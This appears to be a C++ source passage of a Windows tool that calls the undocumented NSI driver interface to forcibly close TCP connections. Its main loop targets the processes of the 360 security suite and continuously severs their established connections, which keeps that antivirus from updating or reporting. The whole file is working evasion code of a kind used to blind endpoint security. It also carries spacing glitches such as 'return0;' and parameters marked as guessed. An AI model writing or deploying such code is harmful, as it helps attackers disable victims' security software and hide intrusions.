    pRtlNtStatusToDosError =(RtlNtStatusToDosError_t)GetProcAddress(ntdll, "RtlNtStatusToDosError");

    return pNtDeviceIoControlFile && pNtWaitForSingleObject && pRtlNtStatusToDosError;
}

#define NT_SUCCESS(Status)((NTSTATUS)(Status)>=0)

ULONG NsiIoctl(
    DWORD dwIoControlCode,            
    LPVOID lpInBuffer,            
    DWORD nInBufferSize,            
    LPVOID lpOutBuffer,            
    LPDWORD lpBytesReturned,            
    LPOVERLAPPED lpOverlapped
){
    static HANDLE hDevice = INVALID_HANDLE_VALUE;
    if(hDevice == INVALID_HANDLE_VALUE){
        HANDLE h = CreateFileW(L"\\\\.\\Nsi", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
        if(h == INVALID_HANDLE_VALUE)
            return GetLastError();
        if(InterlockedCompareExchangePointer(&hDevice, h, INVALID_HANDLE_VALUE)!= INVALID_HANDLE_VALUE)
            CloseHandle(h);
    }

    if(lpOverlapped){
        if(!DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize,            
            lpOutBuffer, *lpBytesReturned, lpBytesReturned, lpOverlapped)){
            return GetLastError();
        }
        return0;
    }

    HANDLE hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);
    if(!hEvent)return GetLastError();

    IO_STATUS_BLOCK ioStatus ={0};
    NTSTATUS status = pNtDeviceIoControlFile(
        hDevice,            
        hEvent,            
        nullptr, nullptr,            
        &ioStatus,            
        dwIoControlCode,            
        lpInBuffer,            
        nInBufferSize,            
        lpOutBuffer,            
        *lpBytesReturned
    );

    if(status == STATUS_PENDING){
        status = pNtWaitForSingleObject(hEvent, FALSE, nullptr);
        if(NT_SUCCESS(status))
            status = ioStatus.Status;
    }

    CloseHandle(hEvent);
    if(!NT_SUCCESS(status))
        return pRtlNtStatusToDosError(status);

    *lpBytesReturned =(DWORD)ioStatus.Information;
    return0;
}

ULONG MyNsiSetAllParameters(
    DWORD a1,            
    DWORD a2,            
    PVOID pModuleId,            
    DWORD dwIoCode,            
    PVOID pInputBuffer,            
    DWORD cbInputBuffer,            
    PVOID pMetricBuffer,            
    DWORD cbMetricBuffer
){
    NSI_SET_PARAMETERS_EX params ={0};
    DWORD cbReturned =sizeof(params);

    params.ModuleId = pModuleId;
    params.IoCode = dwIoCode;
    params.Param1 = a1;
    params.Param2 = a2;
    params.InputBuffer = pInputBuffer;
    params.InputBufferSize = cbInputBuffer;
    params.MetricBuffer = pMetricBuffer;
    params.MetricBufferSize = cbMetricBuffer;

    return NsiIoctl(
        0x120013,               // IOCTL code
        &params,            
        sizeof(params),
        &params,            
        &cbReturned,            
        nullptr
    );
}

// Undocumented TCP module ID for NSI (24 bytes)
BYTE NPI_MS_TCP_MODULEID[]={
    0x18, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,            
    0x03, 0x4A, 0x00, 0xEB, 0x1A, 0x9B, 0xD4, 0x11,            
    0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC
};

// Structure expected by NsiSetAllParameters to represent a TCP socket
struct TcpKillParamsIPv4 {
    WORD  localAddrFamily;
    WORD  localPort;
    DWORD localAddr;
    BYTE  reserved1[20];

    WORD  remoteAddrFamily;
    WORD  remotePort;
    DWORD remoteAddr;
    BYTE  reserved2[20];
};

// Custom replacement for SetTcpEntry using undocumented NSI API
DWORD MySetTcpEntry(MIB_TCPROW_OWNER_PID* pTcpRow){

    // Prepare input data for socket termination
    TcpKillParamsIPv4 params ={0};
    params.localAddrFamily = AF_INET;
    params.localPort =(WORD)pTcpRow->dwLocalPort;
    params.localAddr = pTcpRow->dwLocalAddr;
    params.remoteAddrFamily = AF_INET;
    params.remotePort =(WORD)pTcpRow->dwRemotePort;
    params.remoteAddr = pTcpRow->dwRemoteAddr;

    // Issue command to kill the TCP connection
    DWORD result = MyNsiSetAllParameters(
        1,                              // Unknown / static
        2,                              // Action code
        (LPVOID)NPI_MS_TCP_MODULEID,   // TCP module identifier
        16,                             // IO code (guessed)
        &params, sizeof(params),       // Input buffer
        nullptr, 0                     // Output buffer (unused)
    );

    return result;
}

std::vector<DWORD> GetPidsByProcessName(const std::wstring& processName){
    std::vector<DWORD> pids;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if(snapshot == INVALID_HANDLE_VALUE){
        wprintf(L"[!] CreateToolhelp32Snapshot failed.\n");
        return pids;
    }

    PROCESSENTRY32W pe;
    pe.dwSize =sizeof(pe);
    if(!Process32FirstW(snapshot, &pe)){
        CloseHandle(snapshot);
        wprintf(L"[!] Process32FirstW failed.\n");
        return pids;
    }

    do{
        if(processName == pe.szExeFile){
            pids.push_back(pe.th32ProcessID);
            wprintf(L"[+] Found process: %s (PID: %lu)\n", pe.szExeFile, pe.th32ProcessID);
        }
    }while(Process32NextW(snapshot, &pe));

    CloseHandle(snapshot);
    return pids;
}

void CloseTcpConnectionsByPid(DWORD pid){
    DWORD size =0;
    PMIB_TCPTABLE2 tcpTable =nullptr;

    if(GetTcpTable2(nullptr, &size, TRUE)!= ERROR_INSUFFICIENT_BUFFER){
        wprintf(L"[!] Failed to query TCP table size.\n");
        return;
    }

    tcpTable =(PMIB_TCPTABLE2)malloc(size);
    if(!tcpTable){
        wprintf(L"[!] Memory allocation failed.\n");
        return;
    }

    if(GetTcpTable2(tcpTable, &size, TRUE)!= NO_ERROR){
        free(tcpTable);
        wprintf(L"[!] Failed to get TCP table.\n");
        return;
    }

    int closedCount =0;
    for(DWORD i =0; i < tcpTable->dwNumEntries;++i){
        MIB_TCPROW2& row = tcpTable->table[i];
        if(row.dwOwningPid == pid && row.dwState == MIB_TCP_STATE_ESTAB){
            MIB_TCPROW2 rowToSet = row;
            rowToSet.dwState = MIB_TCP_STATE_DELETE_TCB;

            DWORD result = MySetTcpEntry((MIB_TCPROW_OWNER_PID*)&row);
            if(result == NO_ERROR){
                closedCount++;
                IN_ADDR localAddr ={ row.dwLocalAddr };
                IN_ADDR remoteAddr ={ row.dwRemoteAddr };
                wprintf(L"    [-] Closed TCP connection: %S:%d -> %S:%d\n",            
                    inet_ntoa(localAddr), ntohs((u_short)row.dwLocalPort),
                    inet_ntoa(remoteAddr), ntohs((u_short)row.dwRemotePort));
            }
            else{
                wprintf(L"    [!] Failed to close connection. Error code: %lu\n", result);
            }
        }
    }

    if(closedCount >0){
        wprintf(L"[=] Closed %d connections for PID %lu\n", closedCount, pid);
    }

    free(tcpTable);
}

int wmain(int argc, wchar_t* argv[]){

    LoadNtFunctions();

    std::vector<std::wstring> targetProcs ={L"360Tray.exe", L"360Safe.exe", L"LiveUpdate360.exe", L"safesvr.exe", L"360leakfixer.exe"};

    wprintf(L"[*] Starting connection monitor...\n");

    while(true){
        for(constauto& procName : targetProcs){
            std::vector<DWORD> pids = GetPidsByProcessName(procName);
            for(DWORD pid : pids){
                CloseTcpConnectionsByPid(pid);
            }
        }
    }

    return0;
}